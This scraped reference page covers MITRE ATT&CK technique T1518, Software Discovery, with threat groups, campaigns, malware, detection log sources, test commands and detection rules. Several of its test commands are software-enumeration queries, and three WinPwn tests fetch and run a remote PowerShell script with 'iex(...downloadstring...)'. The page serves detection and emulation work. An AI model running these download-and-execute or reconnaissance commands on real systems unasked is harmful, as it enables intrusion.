tfMITRE ATT&CK technique

Software Discovery T1518

Tactic: Discovery
Platforms: ESXi, IaaS, Linux, macOS, Windows
Version: 1.5
Created: 16 September 2019
Last modified: 12 May 2026

Sub-techniques 214 rules across the family · 5 mapped directly to T1518 · 1 of 2 carry rules

.001Security Software Discovery9 .002Backup Software Discovery0

Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsTop 17%

Threat groups83rd percentile · 81% of ATT&CK techniques have fewer threat groups attributed.

CampaignsTop 12%

Campaigns88th percentile · 83% of ATT&CK techniques have fewer campaigns recorded.

Tools & malwareTop 10%

Tools & malware90th percentile · 90% of ATT&CK techniques have fewer tools implementing them.

Detection rules64th pct

Detection rules64th percentile · 60% of ATT&CK techniques have fewer detection rules written.

tfMITRE ATT&CK technique

Software Discovery T1518

Tactic: Discovery
Platforms: ESXi, IaaS, Linux, macOS, Windows
Version: 1.5
Created: 16 September 2019
Last modified: 12 May 2026

Sub-techniques 214 rules across the family · 5 mapped directly to T1518 · 1 of 2 carry rules

.001Security Software Discovery9 .002Backup Software Discovery0

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsTop 17%

Threat groups83rd percentile · 81% of ATT&CK techniques have fewer threat groups attributed.

CampaignsTop 12%

Campaigns88th percentile · 83% of ATT&CK techniques have fewer campaigns recorded.

Tools & malwareTop 10%

Tools & malware90th percentile · 90% of ATT&CK techniques have fewer tools implementing them.

Detection rules64th pct

Detection rules64th percentile · 60% of ATT&CK techniques have fewer detection rules written.

Software Discovery MITRE reference T1518

Top 17%of all ATT&CK techniques for number of groups

11 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

Volt TyphoonG1017 ↗

Has queried the Registry on compromised systems for information on installed software.1 2

created 2023-07-272 referencesaka BRONZE SILHOUETTE

SideCopyG1008 ↗

Has collected browser information from a compromised host.1

created 2022-08-071 reference

Mustang PandaG0129 ↗

Has searched the victim system for the InstallUtil.exe program and its version.1

created 2021-04-121 referenceaka TA416

WindigoG0124 ↗

Has used a script to detect installed software on targeted systems.1

created 2021-02-101 reference

SidewinderG0121 ↗

Has used tools to enumerate software installed on an infected host.1 2

created 2021-01-272 referencesaka T-APT-04

WindshiftG0112 ↗

Has used malware to identify installed software.1

created 2020-06-251 referenceaka Bahamut

All 11 groups for this technique · 6 newest in this preview

3 campaigns have been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.

Juicy MixC0044 ↗

During Juicy Mix, OilRig used browser data dumper tools to create a list of users with Google Chrome installed.1

2022

Operation WocaoC0014 ↗

During Operation Wocao, threat actors collected a list of installed software on the infected system.1

2017–2019

Operation Dust StormC0016 ↗

During Operation Dust Storm, the threat actors deployed a file called DeployJava.js to fingerprint installed software on a victim system prior to exploit delivery.1

2010–2016

All 3 campaigns for this technique

39 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.

TeamPCP Cloud StealerS9041 ↗

Has searched for cryptocurrency wallets on targeted hosts.1 2

created 2026-07-01MALWAREcarried by 1 group

IronWindS9029 ↗

Can list installed software on targeted hosts.1

created 2026-04-20MALWAREcarried by 1 group

GlassWormS9010 ↗

Has searched for existing wallet applications to include Ledger Live and Trezor Suite.1

created 2026-04-10MALWARE

InvisibleFerretS1245 ↗

Has gathered installed programs and running processes.1

created 2025-10-17MALWAREcarried by 1 group

RedLine StealerS1240 ↗

Can get a list of programs on the victim device.1

created 2025-09-17MALWARE

PUBLOADS1228 ↗

Has used several commands executed in sequence via cmd in a short interval to gather software versions including querying Registry keys.1

created 2025-08-04MALWAREcarried by 1 group

All 39 software entries for this technique · 6 newest in this preview

Data component	Name	Channel
Process CreationDC0032	WinEventLog:Security	EventCode=4688
Command ExecutionDC0064	WinEventLog:PowerShell	Execution of 'Get-WmiObject Win32_Product' or similar PowerShell cmdlets

Data component

Name

Channel

Process CreationDC0032

WinEventLog:Security

EventCode=4688

Command ExecutionDC0064

WinEventLog:PowerShell

Execution of 'Get-WmiObject Win32_Product' or similar PowerShell cmdlets

Field	What you tune
TimeWindow	Detection may be scoped to multiple discovery commands within a short timeframe.
ParentProcess	Tuning based on whether discovery activity stems from suspicious versus approved management tools.

Field

What you tune

TimeWindow

Detection may be scoped to multiple discovery commands within a short timeframe.

ParentProcess

Tuning based on whether discovery activity stems from suspicious versus approved management tools.

Data component	Name	Channel
Process CreationDC0032	auditd:SYSCALL	Execution of dpkg, rpm, or other package manager with list flag
Command ExecutionDC0064	linux:shell	Manual invocation of software enumeration commands via interactive shell

Field	What you tune
ScriptName	Path to the wrapper script that invokes enumeration commands.
TTYContext	Scope detection to interactive vs. background shell contexts.

Data component	Name	Channel
Process CreationDC0032	macos:unifiedlog	Execution of system_profiler or osascript invoking enumeration
Command ExecutionDC0064	auditd:SYSCALL	Command line arguments including SPApplicationsDataType

Field	What you tune
AppScope	Whether enumeration targets user apps or system apps.
ProcessGroup	Parent process or scripting environment (e.g., Python, osascript).

Data component	Name	Channel
Command ExecutionDC0064	AWS:CloudTrail	ssm:GetCommandInvocation
Cloud Service EnumerationDC0083	AWS:CloudTrail	ssm:ListInventoryEntries

Field	What you tune
UserAgent	Differentiate access from automated scripts vs. authorized console.
InventoryType	May focus on Application or Platform inventory only.

Data component	Name	Channel
Application Log ContentDC0038	esxi:hostd	Host daemon command log entries related to vib enumeration
Command ExecutionDC0064	esxi:shell	esxcli software vib list

Field	What you tune
HostAccessMode	Detection may vary based on whether enumeration is local or remote.
ScriptChain	Presence of enumeration in broader scripted sequence.

#	Test	Platform	Executor	Elevation	Prereqs	Cleanup
01	Find and Display Internet Explorer Browser Version	windows	command_prompt	—	—	—
Query the registry to determine the version of internet explorer installed on the system. Upon execution, version information about internet explorer will be displayed. Attack Commandsrun with `command_prompt` reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer" /v svcVersion GUID68981660-6670-47ee-a5fa-7e74806420a4
02	Applications Installed	windows	powershell	—	—	—
Query the registry to determine software and versions installed on the system. Upon execution a table of software name and version information will be displayed. Attack Commandsrun with `powershell` Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\* \| Select-Object DisplayName, DisplayVersion, Publisher, InstallDate \| Format-Table -Autosize Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* \| Select-Object DisplayName, DisplayVersion, Publisher, InstallDate \| Format-Table -Autosize GUIDc49978f6-bd6e-4221-ad2c-9e3e30cc1e3b
03	Find and Display Safari Browser Version	macos	sh	—	—	—
Adversaries may attempt to get a listing of non-security related software that is installed on the system. Adversaries may use the information from Software Discovery during automated discovery to shape follow-on behaviors Attack Commandsrun with `sh` /usr/libexec/PlistBuddy -c "print :CFBundleShortVersionString" /Applications/Safari.app/Contents/Info.plist /usr/libexec/PlistBuddy -c "print :CFBundleVersion" /Applications/Safari.app/Contents/Info.plist GUID103d6533-fd2a-4d08-976a-4a598565280f
04	WinPwn - Dotnetsearch	windows	powershell	—	—	—
Search for any .NET binary file in a share using the Dotnetsearch function of WinPwn Attack Commandsrun with `powershell` iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') Dotnetsearch -noninteractive -consoleoutput GUID7e79a1b6-519e-433c-ad55-3ff293667101
05	WinPwn - DotNet	windows	powershell	—	—	—
Search for .NET Service-Binaries on this system via winpwn dotnet function of WinPwn. Attack Commandsrun with `powershell` iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') dotnet -consoleoutput -noninteractive GUID10ba02d0-ab76-4f80-940d-451633f24c5b
06	WinPwn - powerSQL	windows	powershell	—	—	—
Start PowerUpSQL Checks using powerSQL function of WinPwn Attack Commandsrun with `powershell` iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') powerSQL -noninteractive -consoleoutput GUID0bb64470-582a-4155-bde2-d6003a95ed34

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

Find and Display Internet Explorer Browser Version

windows

command_prompt

—

Applications Installed

windows

powershell

—

Find and Display Safari Browser Version

macos

—

WinPwn - Dotnetsearch

windows

powershell

—

WinPwn - DotNet

windows

powershell

—

WinPwn - powerSQL

windows

powershell

—

Select	Description	Category	Status	Event	OS	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs
	Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.	Generic	test	process_creation	windows	Sysmon · WinEventLog Security	Discovery Software Discovery	-	medium	Nikita Nazarov, oscd.community	2020-10-16	2022-10-09	e13f668e-7f95-443d-98d2-1816a7648a7b
	Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.	Generic	test	ps_script	windows	PowerShell	Discovery Software Discovery	-	medium	Nikita Nazarov, oscd.community	2020-10-16	2022-12-02	2650dd1a-eb2a-412d-ac36-83f06c4f2282
	Detects commandline keywords indicative of potential usge of the tool WinPwn. (...)	Generic	test	process_creation	windows	Sysmon · WinEventLog Security	Privilege Escalation Abuse Elevation Control Mechanism Bypass User Account Control Credential Access Credentials from Password Stores Credentials from Web Browsers Execution Native API Discovery Network Service Discovery Discovery Software Discovery Discovery System Information Discovery Credential Access Unsecured Credentials Credentials In Files	-	high	Swachchhanda Shrawan Poudel	2023-12-04	—	d557dc06-62e8-4468-a8e8-7984124908ce
	Detects scriptblock text keywords indicative of potential usge of the tool WinPwn. (...)	Generic	test	ps_script	windows	PowerShell	Privilege Escalation Abuse Elevation Control Mechanism Bypass User Account Control Credential Access Credentials from Password Stores Credentials from Web Browsers Execution Native API Discovery Network Service Discovery Discovery Software Discovery Discovery System Information Discovery Credential Access Unsecured Credentials Credentials In Files	-	high	Swachchhanda Shrawan Poudel	2023-12-04	—	851fd622-b675-4d26-b803-14bc7baa517a
Splunk	Detects the use of PowerShell based registry queries to pull installed software information from the Uninstall key. (...)	Anomaly	stable	ps_script	windows	PowerShell	Execution Command and Scripting Interpreter PowerShell Discovery Query Registry Discovery Software Discovery	-	medium	Raven Tait, Splunk	2026-05-05	2026-05-13	213b4187-1bb9-449e-9406-5bb686a53440	-

Select	Description	Category	Status	Event	OS	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs
	Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.	Generic	test	process_creation	windows	Sysmon · WinEventLog Security	Discovery Software Discovery	-	medium	Nikita Nazarov, oscd.community	2020-10-16	2022-10-09	e13f668e-7f95-443d-98d2-1816a7648a7b
	Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.	Generic	test	ps_script	windows	PowerShell	Discovery Software Discovery	-	medium	Nikita Nazarov, oscd.community	2020-10-16	2022-12-02	2650dd1a-eb2a-412d-ac36-83f06c4f2282
	Detects commandline keywords indicative of potential usge of the tool WinPwn. (...)	Generic	test	process_creation	windows	Sysmon · WinEventLog Security	Privilege Escalation Abuse Elevation Control Mechanism Bypass User Account Control Credential Access Credentials from Password Stores Credentials from Web Browsers Execution Native API Discovery Network Service Discovery Discovery Software Discovery Discovery System Information Discovery Credential Access Unsecured Credentials Credentials In Files	-	high	Swachchhanda Shrawan Poudel	2023-12-04	—	d557dc06-62e8-4468-a8e8-7984124908ce
	Detects scriptblock text keywords indicative of potential usge of the tool WinPwn. (...)	Generic	test	ps_script	windows	PowerShell	Privilege Escalation Abuse Elevation Control Mechanism Bypass User Account Control Credential Access Credentials from Password Stores Credentials from Web Browsers Execution Native API Discovery Network Service Discovery Discovery Software Discovery Discovery System Information Discovery Credential Access Unsecured Credentials Credentials In Files	-	high	Swachchhanda Shrawan Poudel	2023-12-04	—	851fd622-b675-4d26-b803-14bc7baa517a
Splunk	Detects the use of PowerShell based registry queries to pull installed software information from the Uninstall key. (...)	Anomaly	stable	ps_script	windows	PowerShell	Execution Command and Scripting Interpreter PowerShell Discovery Query Registry Discovery Software Discovery	-	medium	Raven Tait, Splunk	2026-05-05	2026-05-13	213b4187-1bb9-449e-9406-5bb686a53440	-

Software Discovery T1518

Software Discovery T1518

Software Discovery MITRE reference T1518

Software Discovery MITRE reference T1518

Offense vs defense T1518

Software Discovery detection strategy DET0392

Multi-Platform Software Discovery Behavior Chain

Log sources

Tunable fields

Log sources

Tunable fields

Log sources

Tunable fields

Log sources

Tunable fields

Log sources

Tunable fields

Software Discovery detections T1518

Software Discovery detections T1518